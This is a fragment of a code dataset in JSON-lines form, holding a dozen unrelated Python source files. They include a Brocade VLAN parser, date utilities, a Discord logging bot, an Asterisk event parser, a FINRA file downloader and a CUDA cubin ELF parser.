self._request(msg)\n","sub_path":"src/rotest/management/client/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":7261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"272912928","text":"# ---------------------------------------------------------------------\n# Brocade.IronWare.get_vlans\n# ---------------------------------------------------------------------\n# Copyright (C) 2007-2022 The NOC Project\n# See LICENSE for details\n# ---------------------------------------------------------------------\n\n# Python modules\nimport re\n\n# NOC modules\nfrom noc.core.script.base import BaseScript\nfrom noc.sa.interfaces.igetvlans import IGetVlans\n\n\nclass Script(BaseScript):\n name = \"Brocade.IronWare.get_vlans\"\n interface = IGetVlans\n\n rx_vlan_line = re.compile(r\"^\\S+\\s(?P\\d+)\\,\\sName\\s(?P[A-z0-9\\-\\_]+?),.+$\")\n\n def execute_cli(self):\n vlans = self.cli(\"show vlans\")\n r = []\n for match in self.rx_vlan_line.finditer(vlans):\n vlan_id = int(match.group(\"vlan_id\"))\n name = match.group(\"name\")\n if name == \"[None]\":\n r += [{\"vlan_id\": vlan_id}]\n else:\n r += [{\"vlan_id\": vlan_id, \"name\": name}]\n return r\n","sub_path":"sa/profiles/Brocade/IronWare/get_vlans.py","file_name":"get_vlans.py","file_ext":"py","file_size_in_byte":1037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"319101122","text":"'''\nAuthor : Oguzhan Gencoglu\nContact : oguzhan.gencoglu@tut.fi\nCreated : 21.10.2015\nLatest Version : 14.12.2015\n'''\n\nfrom __future__ import absolute_import\nimport datetime as dt\nfrom monthdelta import MonthDelta\nfrom dateutil.relativedelta import relativedelta\nimport numpy as np\nfrom copy import deepcopy\n\n\ndef int2date(input_int):\n # convert int to date format\n # E.g. int2date(978307500)\n \n def converter(input_int):\n return dt.datetime.fromtimestamp(input_int)\n \n if type(input_int) in [int, np.int8, np.int16, np.int32, np.int64]:\n return converter(input_int)\n elif type(input_int) == np.ndarray:\n int2date_vec = np.vectorize(converter)\n return int2date_vec(input_int)\n elif type(input_int) == list:\n return [converter(i) for i in input_int]\n else:\n raise ValueError(\"Incorrect input type!\")\n \n\ndef str2date(input_str, date_format):\n # convert string to date format\n # E.g. str2date(\"2015-11-04\", \"%Y-%m-%d\")\n \n def converter(input_str, date_format):\n return dt.datetime.strptime(input_str, date_format).date()\n \n if type(input_str) == str:\n return converter(input_str, date_format)\n elif type(input_str) == np.ndarray:\n str2date_vec = np.vectorize(converter)\n return str2date_vec(input_str, date_format)\n elif type(input_str) == list:\n return [converter(i, date_format) for i in input_str]\n else:\n raise ValueError(\"Incorrect input type!\")\n \n \ndef increment_month(date, inc):\n # E.g. increment_month(dt.date(2007, 12, 20), -2)\n \n if type(date) == dt.date:\n return date + MonthDelta(inc)\n elif type(date) == np.ndarray:\n return np.array([i + MonthDelta(inc) for i in date])\n elif type(date) == list:\n return [i + MonthDelta(inc) for i in date]\n else:\n raise ValueError(\"Incorrect input type!\")\n \n \ndef increment_year(date, inc):\n # E.g. increment_year(dt.date(2007, 12, 20), 4)\n \n if type(date) == dt.date:\n return date + relativedelta(years = inc)\n elif type(date) == np.ndarray:\n return np.array([i + relativedelta(years = inc) for i in date])\n elif type(date) == list:\n return [i + relativedelta(years = inc) for i in date]\n else:\n raise ValueError(\"Incorrect input type!\")\n \n \ndef get_day(date):\n # returns day of the week\n # 1 : Monday, ... , 7 : Sunday\n \n if type(date) == dt.date:\n return date.isocalendar()[2]\n elif type(date) == np.ndarray:\n return np.array([i.isocalendar()[2] for i in date])\n elif type(date) == list:\n return [i.isocalendar()[2] for i in date]\n else:\n raise ValueError(\"Incorrect input type!\")\n \n \ndef get_week(date):\n # returns week of the year (1 to 52)\n \n if type(date) == dt.date:\n return date.isocalendar()[1]\n elif type(date) == dt.datetime: \n return(dt.datetime.fromordinal(date.toordinal()).isocalendar()[1])\n elif type(date) == np.ndarray:\n return np.array([i.isocalendar()[1] for i in date])\n elif type(date) == list:\n return [i.isocalendar()[1] for i in date]\n else:\n raise ValueError(\"Incorrect input type!\")\n \n \ndef parse_date(date, fields = ['y', 'm', 'd']):\n # parse date in to year, month, week, day, hours and minutes\n # returns a list\n # E.g. parse_date(date, ['y', 'm', 'w', 'd', 'h', 'min'])\n \n def parser(date, fields = ['y', 'm', 'd']):\n parsed = []\n if 'y' in fields:\n parsed.append(date.year)\n if 'm' in fields:\n parsed.append(date.month)\n if 'w' in fields:\n parsed.append(date.isocalendar()[1]) \n if 'd' in fields:\n parsed.append(date.day)\n if 'h' in fields:\n parsed.append(date.hour)\n if 'min' in fields:\n parsed.append(date.minute)\n return parsed\n \n if type(date) == dt.date:\n return parser(date, fields)\n elif type(date) == np.ndarray:\n parsed = []\n for i in range(len(date)):\n parsed.append(parser(date[i], fields))\n return np.array(parsed)\n elif type(date) == list:\n parsed = []\n for i in range(len(date)):\n parsed.append(parser(date[i], fields))\n return parsed\n else:\n raise ValueError(\"Incorrect input type!\") \n \n \ndef find_time_dur(ini_date, fin_date, unit):\n # find time duration between two dates in\n # seconds, minutes, hours, days, months or years\n \n td = fin_date - ini_date\n print(td)\n if unit == \"sec\":\n return td.seconds + td.days * 24 * 60 * 60\n elif unit == \"min\":\n return (td.seconds // 60) + td.days * 24 * 60\n elif unit == \"hour\":\n return (td.seconds // 3600) + td.days * 24 \n elif unit == \"day\":\n return td.days\n elif unit == \"month\": # definition is a bit vague\n return (fin_date.year - ini_date.year)*12 + \\\n fin_date.month - ini_date.month\n elif unit == \"year\": # definition is a bit vague\n return td.days // 365 \n else:\n raise ValueError(\"Invalid unit!\") \n \n \ndef fill_dates(arr, dates_col_ind = 0, timestep = \"day\", repeated_cols=[], \n inserted_cols=[], inserted_val=0):\n # fills the missing dates in numpy array\n # \n # e.g. fill_dates([datetime.datetime(2001, 4, 2, 18, 42), \n # datetime.datetime(2001, 5, 2, 7, 13)],\n # timestep = \"day\")\n pass\n '''\n for r in range(arr.shape[0] - 1):\n \n ini = arr[r, dates_col_ind]\n fin = arr[r + 1, dates_col_ind]\n \n if timestep == \"min\":\n temp = deepcopy(ini)\n while(parse_date(temp, ['y', 'm', 'd', 'h']) != parse_date(fin, ['y', 'm', 'd', 'h'])):\n temp + dt.timedelta(minutes = 1)\n\n \n np.insert(arr, r, )\n '''","sub_path":"Python/Dates/date_functions.py","file_name":"date_functions.py","file_ext":"py","file_size_in_byte":6065,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"627767278","text":"NAME = 'validation'\nVERSION = '1.0.0'\nSUMMARY = 'cg3002'\nAUTHOR = ''\n\nimport os\nfrom distutils.core import setup\n\nold_cwd = os.getcwd()\nnew_cwd = os.path.normpath(os.path.join(os.path.dirname(__file__), '..'))\nos.chdir(new_cwd)\n\ntry:\n setup(\n name=NAME,\n version=VERSION,\n description=SUMMARY,\n author=AUTHOR,\n packages=[NAME],\n package_data={NAME: ['*.so', '*.pyd', '*.dll', '*.dll', '*.properties', '*.ini', '*.info']}\n )\nfinally:\n os.chdir(old_cwd)\n","sub_path":"validation/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"49005621","text":"import os\nimport discord\nimport logging\nfrom dotenv import load_dotenv\nfrom discord.ext import commands\n\nclass LogBot(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n # Connect\n @commands.Cog.listener()\n async def on_ready(self):\n print(f'Logged in as {self.bot.user} ({self.bot.user.id})')\n\n # Reconnect\n @commands.Cog.listener()\n async def on_resumed(self):\n print('Bot has reconnected!')\n \n # Error Handler\n @commands.Cog.listener()\n async def on_command_error(self, ctx, error):\n await ctx.send(error)\n \n\n# Gateway intents\nintents = discord.Intents.default()\nintents.members = True\nintents.presences = True\n\n# Bot prefix\nbot = commands.Bot(command_prefix='!',description='Log Bot', intents=intents, case_insensitive=True)\nbot.remove_command(\"help\")\n\n# Logging\nlogger = logging.getLogger('discord')\nlogger.setLevel(logging.DEBUG)\nhandler = logging.FileHandler(filename='discord.log', encoding='utf-8', mode='w')\nhandler.setFormatter(logging.Formatter('%(asctime)s:%(levelname)s:%(name)s: %(message)s'))\nlogger.addHandler(handler)\n\n# Loading data from .env file\nload_dotenv()\ntoken = os.getenv('TOKEN')\n\nif __name__ == '__main__':\n #load extention\n for filename in os.listdir('./commands'):\n if filename.endswith('.py'):\n bot.load_extension(f'commands.{filename[: -3]}')\n\n bot.add_cog(LogBot(bot))\n bot.run(token, reconnect=True)","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"245874402","text":"'''\nCreated on Apr 8, 2013\n\n@author: dev\n'''\n\nimport threading\nimport thread\nimport Queue\nimport time\nimport datetime\n\nclass MgrEvent(threading.Thread):\n\n lock = None\n lock_queue = None\n map_response = {}\n queue = None;\n actived = True\n \n def __init__(self):\n threading.Thread.__init__(self)\n self.lock = thread.allocate_lock()\n self.lock_queue = thread.allocate_lock()\n self.queue = Queue.Queue(0)\n \n def close(self):\n self.actived = False\n \n def push(self,mp):\n self.lock_queue.acquire()\n self.queue.put(mp)\n self.lock_queue.release()\n \n def pop(self):\n self.lock_queue.acquire()\n if self.queue.empty():\n self.lock_queue.release()\n return None\n \n cmd = self.queue.get()\n self.lock_queue.release()\n return cmd\n \n def setResponse(self,uuid):\n \n self.lock.acquire()\n self.map_response[uuid]= None\n \n self.lock.release()\n '''def __init__(self):\n threading.Thread.__init__(self) '''\n \n def updateResponse(self,uuid,value):\n self.lock.acquire()\n self.map_response[uuid]= value\n '''self.map_response.update(uuid,value)'''\n self.lock.release()\n \n def getResponse(self,uuid):\n self.lock.acquire()\n value = self.map_response.get(uuid)\n self.lock.release()\n return value\n \n def parse(self,line):\n print(line + '\\r\\n-------------\\r\\n')\n \n response = {}\n aux = line.split('\\r\\n')\n \n print(aux)\n \n for i in range(0,len(aux)):\n print(str(i) + ':' + aux[i])\n if len(aux[i]) < 3: \n \n print('fim de comando\\n')\n print(response)\n '''for key,value in response.items():\n print(key + '_>' + value)'''\n \n var= response.get('Event','None')\n print('var: ' + var)\n \n if var == 'OriginateResponse':\n uuid = response.get('ActionID','None')\n result = response.get('Response','None')\n reason = response.get('Reason','None')\n print('Resultado.uuid:' + uuid + ' result: ' + result + ' reason: ' + reason)\n self.updateResponse(uuid,reason)\n \n \n response.clear()\n print('fim de comando\\n')\n \n else:\n aux2 = aux[i].split(':');\n for j in range(0,len(aux2),2):\n print('j:[' + aux2[j] + '] [' + aux2[j + 1] + ']')\n response[aux2[j]] = aux2[j + 1].strip()\n \n \n \n '''for i in range(0,len(aux)):\n print('0:' + str(i) + ' ->' + aux[i])\n aux2 = aux[i].split('\\r\\n')\n print(aux2)\n for res in aux2:\n print('res: ' + res) '''\n \n '''for item in aux:\n print('item: ' + item)'''\n \n \n '''print(aux)'''\n '''\n for res in aux:\n if len(res) > 0:\n aux2 = res.split(':')\n if len(aux2) > 1:\n for i in range(0, len(aux2), 2):\n \n if len(aux2[i]) > 0:\n response[aux2[i]] = aux2[i + 1].strip() '''\n \n \n return response\n \n def run(self):\n \n while(self.actived):\n time.sleep(1)\n \n while(self.actived):\n line = self.pop()\n if line == None:\n break\n \n self.parse(line)\n \n ","sub_path":"asteriskmgrcall/o1messageserver/mgrEvent.py","file_name":"mgrEvent.py","file_ext":"py","file_size_in_byte":3909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"548290561","text":"#!/usr/bin/python3\n#\n# Print a sorted list of all SRPMs.\n# This works against the repos configured on the system. So if you've got\n# RHEL7 installed, it will tell you about RHEL7. If you've got rawhide, it'll\n# tell you about that.\n\nimport dnf\n\nbase = dnf.base.Base()\nbase.read_all_repos()\nbase.fill_sack()\n\nq = base.sack.query().available()\n\nsrpms = {}\n\nfor pkg in list(q):\n if pkg.sourcerpm in srpms:\n srpms[pkg.sourcerpm].append(pkg.name)\n else:\n srpms[pkg.sourcerpm] = [pkg.name]\n\nfor (key, val) in sorted(srpms.items()):\n print(\"%s = %s %s\" % (key, len(val), val))\n","sub_path":"srpms.py","file_name":"srpms.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"492340732","text":"import re\nimport shlex\nfrom collections import defaultdict\nfrom subprocess import Popen, PIPE\nfrom util import dump_pickle\n\nisWord = re.compile('^[a-zA-Z]+$')\n\n\nclass Idx(dict):\n def __missing__(self, key):\n res = self[key] = Term(key)\n return res\n\n\nclass Term(object):\n def __init__(self, term):\n self.term = term\n self.docwhere = defaultdict(list)\n\n def add_doc_where(self, doc, where):\n self.docwhere[doc].extend(where)\n\n def is_word(self):\n return isWord.match(self.term) is not None\n\n def __str__(self):\n return '%s %s' % (self.term, self.docwhere)\n\n def __repr__(self):\n return self.__str__()\n\n\ndef galago_postingd_csv():\n cline = './rungalago.sh dump-index index'\n with open('output_files/idx3.csv', 'w') as retOut:\n runner = Popen(shlex.split(cline), stdout=retOut, stderr=PIPE)\n print(runner.stderr.read())\n idx = Idx()\n with open('idx3.csv', 'r') as gal:\n for line in gal:\n lsplit = line.rstrip().lstrip().split(',')\n word = lsplit[0]\n doc = lsplit[1]\n at = lsplit[2:]\n idx[word].add_doc_where(doc, at)\n dump_pickle(idx,'pickled/idx3.pickle')\n with open('output_files/idx3_terms.txt','w') as termOut:\n termOut.write(' '.join(sorted(filter(lambda x: isWord.match(x) is not None,list(idx.keys())))))\n\n\nif __name__ == '__main__':\n galago_postingd_csv()\n","sub_path":"assignments/a3/code/indexer.py","file_name":"indexer.py","file_ext":"py","file_size_in_byte":1438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"539939051","text":"students = []\n\n\"\"\"\nclass Student():\n def __init__(self, name, student_id=332):\n student = {\n \"name\": name,\n \"student_id\": student_id\n }\n students.append(student)\n\n def __str__(self):\n return \"Student\"\n\n\nstudent = Student(\"Mark\")\nprint(students)\nprint(student)\n\"\"\"\n\n\n# Practice 2\nclass Students:\n def __init__(self, name, student_id=32):\n student = {\"name\": name, \"id\": student_id}\n students.append(student)\n\n def __str__(self):\n return \"Student\"\n\n\nstudent1 = Students(\"Mark\")\n\nprint(students)\nprint(student1)\n\n","sub_path":"ps_247_bm/ClassConstructors.py","file_name":"ClassConstructors.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"501514845","text":"#! /bin/bash\nimport sys\nimport binascii\nimport struct\n\nbasename = 'rgb_leds'\n\ntry:\n filename = 'assets/' + basename + '.led'\n delay = int(sys.argv[1])\nexcept:\n sys.stderr.write('Usage: convertleds.py \\n')\n sys.exit(1)\n\noutput = ''\n\nwith open(filename) as fp:\n contents = fp.read()\n contents = contents.replace(chr(10), '')\n contents = contents.replace(' ', '')\n newname = 'files/' + basename + '.hex'\n with open(newname, 'w') as fpW:\n fpW.write(struct.pack('>H', delay))\n fpW.write(binascii.unhexlify(contents))\n","sub_path":"tools/convertleds.py","file_name":"convertleds.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"589654397","text":"import requests \nimport time\nimport os\nimport requests\nfrom bs4 import BeautifulSoup\n\ndef download(src,dst):\n\twith open(dst, 'wb') as f:\n\t\tf.write(requests.get(src).content)\n\treturn\n\ndef GetHTMLSoup(url):\n\theaders = {\n\t'Accept':'*/*; q=0.01',\n\t'Accept-Encoding':'gzip,deflate',\n\t'Accept-Language':'q=0.8,en-US;q=0.6,en;q=0.4',\n\t'Cache-Control':'no-cache',\n\t'Connection':'keep-alive',\n\t'User-Agent':'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.102 Safari/537.36'\n\t}\n\tr=requests.get(url,headers=headers)\n\tif r.status_code == 404:\n\t\t# A 404 was found\n\t\treturn None\n\tsoup = BeautifulSoup(r.text,\"html.parser\")\n\treturn soup\n\nif __name__==\"__main__\":\n\tsoup=GetHTMLSoup(\"http://www.finra.org/industry/trf/trf-regulation-sho-2009\")\n\ta=[]\n\tfor li in soup.find(class_='field-item even field field--name-body field--type-text-with-summary field--label-hidden').findAll('ul',recursive=False):\n\t\ta.extend(li.findAll('a'))\n\tb=[li['href'] for li in a]\n\tprint('\\n'.join(b))\n\texit(0)\n\timport os\n\tnames=[os.path.join(\"C:/Users/yu_heng/Downloads/\",li.split('/')[-1]) for li in b]\n\tpairs=zip(b,names)\n\ttotal=len(b)\n\tcount=0\n\tfor src,dst in pairs:\n\t\tcount+=1\n\t\tprint(\"({0}/{1}){2}\".format(count,total, src))\n\t\tdownload(src,dst)\n","sub_path":"programs/1. short volume/1 download zip files.py","file_name":"1 download zip files.py","file_ext":"py","file_size_in_byte":1255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"605381144","text":"from typing import Optional\n\nfrom .time_series_parameter import TimeSeriesParameter\n\n\nclass QboParameter(TimeSeriesParameter):\n def __init__(self):\n super(QboParameter, self).__init__()\n # Override existing attributes\n # =============================\n self.print_statements = False\n self.ref_timeseries_input = True\n self.test_timeseries_input = True\n self.granulate.remove(\"seasons\")\n\n # Custom attributes\n # -----------------\n self.ref_yrs: Optional[str] = None\n self.test_yrs: Optional[str] = None\n","sub_path":"e3sm_diags/parameter/qbo_parameter.py","file_name":"qbo_parameter.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"154191903","text":"import struct\nimport logging\nimport io\n\nfrom elftools.elf.elffile import ELFFile\nfrom elftools.elf.descriptions import describe_ei_class\nfrom elftools.elf.sections import SymbolTableSection\n\nfrom kernel import Kernel\nfrom segment import *\n\n\nclass Cubin(object):\n def __init__(self, cubin_file):\n self._file_name = cubin_file.name\n self._elf_file = ELFFile(cubin_file)\n self._symbols = None\n self._elf_class = None\n self._arch = None\n self._params = None\n self._reg_cnts = None\n self._inst_cnts = None\n self._bar_cnts = None\n self._max_reg_cnt = None\n self._param_begin_addrs = None\n self._param_indicator = None\n self._param_delimiter = None\n self._param_size_cbank = None\n self._param_cbank = None\n self._param_size = None\n self._elf_header = None\n self._program_header = None\n self._section_header = None\n self._sections = None\n self._symtab_sections = None\n self._code_sections = None\n self._nvinfo_sections = None\n self._constant_sections = None\n self._kernels = None\n\n def file_name(self):\n return self._file_name\n\n # Low level binary encoding read function\n def read(self, offset, size):\n self._elf_file.stream.seek(offset)\n return io.BytesIO(self._elf_file.stream.read(size))\n\n def symbols(self):\n if self._symbols is None:\n symtab_index = 0\n symbols = list()\n for section in self._elf_file.iter_sections():\n if isinstance(section, SymbolTableSection):\n if section[\"sh_entsize\"] == 0:\n logging.info(\"Symbol table '%s' has a sh_entsize of zero!\", section.name)\n continue\n for symbol_index, symbol in enumerate(section.iter_symbols()):\n symbol_entry = dict()\n symbol_entry[\"index\"] = symbol_index\n symbol_entry[\"symtab_index\"] = symtab_index\n symbol_entry[\"section_index\"] = symbol[\"st_shndx\"]\n symbol_entry[\"name\"] = symbol.name\n symbol_entry[\"type\"] = symbol[\"st_info\"][\"type\"]\n symbols.append(symbol_entry)\n symtab_index += 1\n self._symbols = symbols\n return self._symbols\n\n def elf_class(self):\n if self._elf_class is None:\n e_ident = self._elf_file.header[\"e_ident\"]\n self._elf_class = int(describe_ei_class(e_ident[\"EI_CLASS\"]).replace(\"ELF\", \"\"))\n return self._elf_class\n\n def arch(self):\n if self._arch is None:\n self._arch = self._elf_file.header[\"e_flags\"] & 0xFF\n return self._arch\n\n def params(self):\n if self._params is None:\n params = list()\n for nvinfo_section in self.nvinfo_sections():\n begin_param_offset = nvinfo_section.properties(\"param_offset\")\n begin_param_addr = nvinfo_section.properties(\"param_addr\")\n if begin_param_offset == 0:\n continue\n section_stream = self._elf_file.stream\n section_stream.seek(nvinfo_section.offset() + begin_param_offset)\n # move to param fields\n param_list = list()\n while True:\n param = dict()\n buf = section_stream.read(4)\n if not buf:\n break\n unpack_buf = struct.unpack(\"I\", buf)[0]\n if unpack_buf != self.param_delimiter():\n break\n buf = section_stream.read(12)\n param[\"delimiter\"] = self.param_delimiter()\n param[\"index\"] = struct.unpack(\"III\", buf)[0]\n param[\"ordinal\"] = struct.unpack(\"III\", buf)[1] & 0xFFFF\n param[\"offset\"] = begin_param_addr + (struct.unpack(\"III\", buf)[1] >> 16)\n param[\"size\"] = struct.unpack(\"III\", buf)[2] >> 18\n param[\"cbank\"] = struct.unpack(\"III\", buf)[2] >> 12 & 0xFF\n param_list.append(param)\n params.append(param_list)\n self._params = params\n return self._params\n\n def reg_cnts(self):\n if self._reg_cnts is None:\n symbols = self.symbols()\n cnts = list()\n for symbol in symbols:\n if symbol[\"type\"] == \"STT_FUNC\":\n section = self.sections()[symbol[\"section_index\"]]\n cnts.append((section.info() & 0xff000000) >> 24)\n self._reg_cnts = cnts\n return self._reg_cnts\n\n # get num insts + num ctrls\n def inst_cnts(self):\n if self._inst_cnts is None:\n symbols = self.symbols()\n cnts = list()\n for symbol in symbols:\n if symbol[\"type\"] == \"STT_FUNC\":\n section = self.sections()[symbol[\"section_index\"]]\n cnts.append(section.size() >> 3)\n self._inst_cnts = cnts\n return self._inst_cnts\n\n def bar_cnts(self):\n if self._bar_cnts is None:\n symbols = self.symbols()\n cnts = list()\n for symbol in symbols:\n if symbol[\"type\"] == \"STT_FUNC\":\n section = self.sections()[symbol[\"section_index\"]]\n cnts.append((section.flag() & 0x01f00000) >> 20)\n self._bar_cnts = cnts\n return self._bar_cnts\n\n def max_reg_cnt(self):\n if self._max_reg_cnt is None:\n max_reg_cnt = 0\n if self.arch() == 52 or self.arch() == 60:\n max_reg_cnt = 255\n # TODO(keren): add other archs\n self._max_reg_cnt = max_reg_cnt\n return self._max_reg_cnt\n\n def param_begin_addrs(self):\n if self._param_begin_addrs is None:\n param_begin_addrs = list()\n for index in range(len(self.code_sections())):\n nvinfo_section = self.nvinfo_sections()[index]\n constant_section = self.constant_sections()[index]\n free_constant_mem_addr = constant_section.size()\n param_begin_addr = nvinfo_section.properties(\"param_addr\")\n if param_begin_addr == 0:\n param_begin_addrs.append(free_constant_mem_addr)\n else:\n param_begin_addrs.append(param_begin_addr)\n self._param_begin_addrs = param_begin_addrs\n return self._param_begin_addrs\n\n def param_indicator(self):\n if self._param_indicator is None:\n self._param_indicator = 0x00080a04\n return self._param_indicator\n\n def param_delimiter(self):\n if self._param_delimiter is None:\n self._param_delimiter = 0x000c1704\n return self._param_delimiter\n\n def param_size_cbank(self):\n if self._param_size_cbank is None:\n self._param_size_cbank = 0x1903\n return self._param_size_cbank\n\n def param_cbank(self):\n if self._param_cbank is None:\n self._param_cbank = 0x1f\n return self._param_cbank\n\n def param_size(self):\n if self._param_size is None:\n self._param_size = 8\n return self._param_size\n\n # Return elf header binary encoding\n def elf_header(self):\n if self._elf_header is None:\n properties = dict()\n if self.elf_class() == 64:\n properties[\"pgh_offset\"] = 32\n properties[\"sh_offset\"] = 40\n properties[\"pgh_offset_size\"] = 8\n properties[\"sh_offset_size\"] = 8\n else: # FIXME(Keren): for ELF-32\n properties[\"pgh_offset\"] = 0\n properties[\"sh_offset\"] = 0\n properties[\"pgh_offset_size\"] = 0\n properties[\"sh_offset_size\"] = 0\n properties[\"entry\"] = self._elf_file.header\n size = self._elf_file.structs.Elf_Ehdr.sizeof()\n segment = Segment(0, \"elf_header\", \"header\", 0, size, 0)\n self._elf_header = SegmentRef(0, segment, properties=properties)\n return self._elf_header\n\n # Return program header binary encoding\n def program_header(self):\n if self._program_header is None:\n properties = dict()\n properties[\"offset_offset\"] = 8\n properties[\"offset_offset_size\"] = 8\n properties[\"file_offset\"] = 32\n properties[\"file_offset_size\"] = 8\n properties[\"mem_offset\"] = 40\n properties[\"mem_offset_size\"] = 8\n properties[\"entry_size\"] = 56\n entries = list()\n for entry in self._elf_file.iter_segments():\n entries.append(entry)\n properties[\"entries\"] = entries\n offset = self._elf_file.header[\"e_phoff\"]\n size = self._elf_file.structs.Elf_Phdr.sizeof() * self._elf_file.num_segments()\n segment = Segment(0, \"program_header\", \"header\", offset, size, 0)\n self._program_header = SegmentRef(0, segment, properties)\n return self._program_header\n\n # Return section header binary encoding\n def section_header(self):\n if self._section_header is None:\n properties = dict()\n properties[\"offset_offset\"] = 24\n properties[\"offset_offset_size\"] = 8\n properties[\"size_offset\"] = 32\n properties[\"size_offset_size\"] = 8\n properties[\"reg_offset\"] = 44\n properties[\"reg_offset_size\"] = 4\n properties[\"entry_size\"] = 64\n entries = list()\n for entry in self._elf_file.iter_sections():\n entries.append(entry)\n properties[\"entries\"] = entries\n offset = self._elf_file.header[\"e_shoff\"]\n size = self._elf_file.structs.Elf_Shdr.sizeof() * self._elf_file.num_sections()\n segment = Segment(0, \"section_header\", \"header\", offset, size, 0)\n self._section_header = SegmentRef(0, segment, properties=properties)\n return self._section_header\n\n # Return sections binary encoding\n def sections(self):\n if self._sections is None:\n sections = list()\n for idx, s in enumerate(self._elf_file.iter_sections()):\n # The first section is used as aligment\n section = Segment(idx, s.name, s[\"sh_type\"], s[\"sh_offset\"],\n s[\"sh_size\"], s[\"sh_addralign\"],\n flag=s[\"sh_flags\"], info=s[\"sh_info\"])\n sections.append(section)\n self._sections = sections\n return self._sections\n\n # Return section offset for special sections, including:\n # - symtab\n # - codes\n # - nvinfo\n def symtab_sections(self):\n if self._symtab_sections is None:\n symtab_sections = list()\n symtab_index = 0\n for s in self.sections():\n if s.type() == \"SHT_SYMTAB\":\n properties = dict()\n properties[\"section_index\"] = s.index()\n properties[\"symbol_size\"] = 24\n properties[\"size_offset\"] = 16\n properties[\"size_offset_size\"] = 8\n entries = list()\n for entry in self.symbols():\n if entry[\"symtab_index\"] == symtab_index:\n entries.append(entry)\n properties[\"entries\"] = entries\n symtab = SegmentRef(symtab_index, s, properties=properties)\n symtab_sections.append(symtab)\n symtab_index += 1\n self._symtab_sections = symtab_sections\n return self._symtab_sections\n\n def code_sections(self):\n if self._code_sections is None:\n code_sections = list()\n code_section_index = 0\n for symbol in self.symbols():\n if symbol[\"type\"] == \"STT_FUNC\":\n for s in self.sections():\n if s.index() == symbol[\"section_index\"]:\n properties = dict()\n properties[\"section_index\"] = s.index()\n properties[\"function_name\"] = symbol[\"name\"]\n code_section = SegmentRef(code_section_index, s, properties=properties)\n code_sections.append(code_section)\n code_section_index += 1\n self._code_sections = code_sections\n return self._code_sections\n\n def nvinfo_sections(self):\n if self._nvinfo_sections is None:\n nvinfo_sections = list()\n nvinfo_section_index = 0\n for code_section in self.code_sections():\n nvinfo_section_name = \".nv.info.\" + code_section.properties(\"function_name\")\n find = False\n section = None\n for s in self.sections():\n if s.name() == nvinfo_section_name:\n find = True\n section = s\n break\n if find is False:\n logging.warning(\"Cannot find \" + nvinfo_section_name)\n continue\n section_stream = self._elf_file.stream\n section_stream.seek(section.offset())\n begin_param_offset = 0\n begin_param_addr = 0\n param_size_offset = 0\n while True:\n buf = section_stream.read(4)\n begin_param_offset += 4\n param_size_offset += 4\n if not buf:\n break\n if struct.unpack(\"I\", buf)[0] == self.param_indicator():\n buf = section_stream.read(12)\n begin_param_addr = struct.unpack(\"III\", buf)[1] & 0xFFFF\n begin_param_offset += 12\n param_size_offset += 4\n break\n end_param_offset = begin_param_offset\n while True:\n buf = section_stream.read(4)\n end_param_offset += 4\n if not buf:\n break\n unpack_buf = struct.unpack(\"I\", buf)[0]\n if unpack_buf != self.param_delimiter():\n end_param_offset -= 4\n break\n section_stream.read(12)\n end_param_offset += 12\n properties = dict()\n properties[\"param_addr\"] = begin_param_addr\n properties[\"param_offset\"] = begin_param_offset\n properties[\"param_size\"] = end_param_offset - begin_param_offset\n properties[\"param_size_offset1\"] = param_size_offset\n properties[\"param_size_offset1_size\"] = 4\n properties[\"param_size_offset2\"] = param_size_offset + 4\n properties[\"param_size_offset2_size\"] = 4\n properties[\"section_index\"] = section.index()\n nvinfo_section = SegmentRef(nvinfo_section_index, section, properties=properties)\n nvinfo_sections.append(nvinfo_section)\n nvinfo_section_index += 1\n self._nvinfo_sections = nvinfo_sections\n return self._nvinfo_sections\n\n def constant_sections(self):\n if self._constant_sections is None:\n constant_sections = list()\n constant_section_index = 0\n for code_section in self.code_sections():\n constant_section_name = \".nv.constant0.\" + code_section.properties(\"function_name\")\n find = False\n section = None\n for s in self.sections():\n if s.name() == constant_section_name:\n section = s\n find = True\n break\n if find is False:\n logging.warning(\"Cannot find \" + constant_section_name)\n continue\n properties = dict()\n properties[\"section_index\"] = section.index()\n constant_section = SegmentRef(constant_section_index, section, properties=properties)\n constant_sections.append(constant_section)\n constant_section_index += 1\n self._constant_sections = constant_sections\n return self._constant_sections\n\n # Return copies of the code buffer\n def kernels(self):\n if self._kernels is None:\n kernels = list()\n bar_cnts = self.bar_cnts()\n reg_cnts = self.reg_cnts()\n params = self.params()\n for code_section in self.code_sections():\n index = code_section.index()\n kernel = Kernel(index, code_section.properties(\"function_name\"),\n params[index], reg_cnts[index], bar_cnts[index])\n kernels.append(kernel)\n self._kernels = kernels\n return self._kernels\n","sub_path":"python/cubin.py","file_name":"cubin.py","file_ext":"py","file_size_in_byte":17285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
